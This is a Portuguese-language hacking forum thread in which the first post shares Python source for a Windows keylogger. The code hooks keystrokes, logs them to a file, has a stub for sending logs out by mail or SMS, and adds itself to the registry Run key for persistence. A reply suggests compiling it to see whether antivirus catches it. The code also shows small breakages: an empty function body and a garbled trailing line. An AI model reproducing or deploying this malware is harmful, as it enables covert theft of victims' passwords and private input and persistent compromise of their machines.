Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Keylogger em python

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Python Keylogger em python

    Num tem como fugir disso né?

    Código:
    import os
    import string
    import sys
    import win32api
    import win32con
    import time
    import pprint
    import shutil
    import pyHook
    import pythoncom
    from time import ctime
    
    from _winreg import *
    
    #setting some global vars
    skippedKeys = set( (0,) )
    
    def send_message():
    #send the keylogged message by smtp, sms, or anything else :)
    
    def OnKeyboardEvent(event):
        try:
            eventWindow, ascii = event.WindowName, event.Ascii
            if ascii not in skippedKeys:
                input_ = chr(ascii)
                print ascii
                f = open('C:\\log.txt', 'r')
                data = f.read()
                f.close()
                f = open('C:\\log.txt', 'w')
                if ascii == 32:
                    input_=' '
                else:
                    if ascii == 13:
                        input_='\n'
                    else:
                        if ascii == 8:
                            input_='*bs*'
                data += input_
                f.write(data)
                f.close()
                if len(data) > 30:
                    send_message()
                    f = open('C:\\log.txt', 'w')
                    f.close()
                return True
        except:
            return True
    
    #to the keylogger after every startup
    def regwrite():
      aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
      aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
      aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
    #note that we must convert the python file to .exe file
      SetValueEx(aKey,"KEYLOGGER",0, REG_SZ, r"C:\keylogger.exe")
      CloseKey(aKey)
      CloseKey(aReg)
    
    if __name__ == "__main__":
        regwrite()
        try:
            # we flush/create the log file
            f=open('C:\\log.txt', 'w')
            f.close()    
            hm = pyHook.HookManager()    
            hm.KeyDown = OnKeyboardEvent
            hm.HookKeyboard()
            try:
                pythoncom.PumpMessages()
            except:
                pass
        except:
            passnote: you must
    lembrando, não fui eu que codei... foi o geek ele manja demais em python srsrs

    usem para material de estudo assim como eu usei... espero que gostem

  • Font Size
    #2
    Muito Bom Guigo Muito bom !! como vai indo no python ?! Vou postar minha calculadora agora
    Ta com uns bug ajeitado ja !!
    sigpic

    Campanha Anti-Ripper: Você não gosta de rippers ("ladrões de coteúdo")? Use essa userbar e faça o seu protesto.

    Comment


    • Font Size
      #3
      Parabéns maninho muito bom, agora como vc me esclareceu só compila ele ao invés de interpretar ver se os avs pega ;P
      []s
      <<< ENGINEERING CODERZ - HACKING PROGRAMMING GROUP >>>
      msn/mail: azurus21@gmail.com

      Comment

      X
      Working...
      X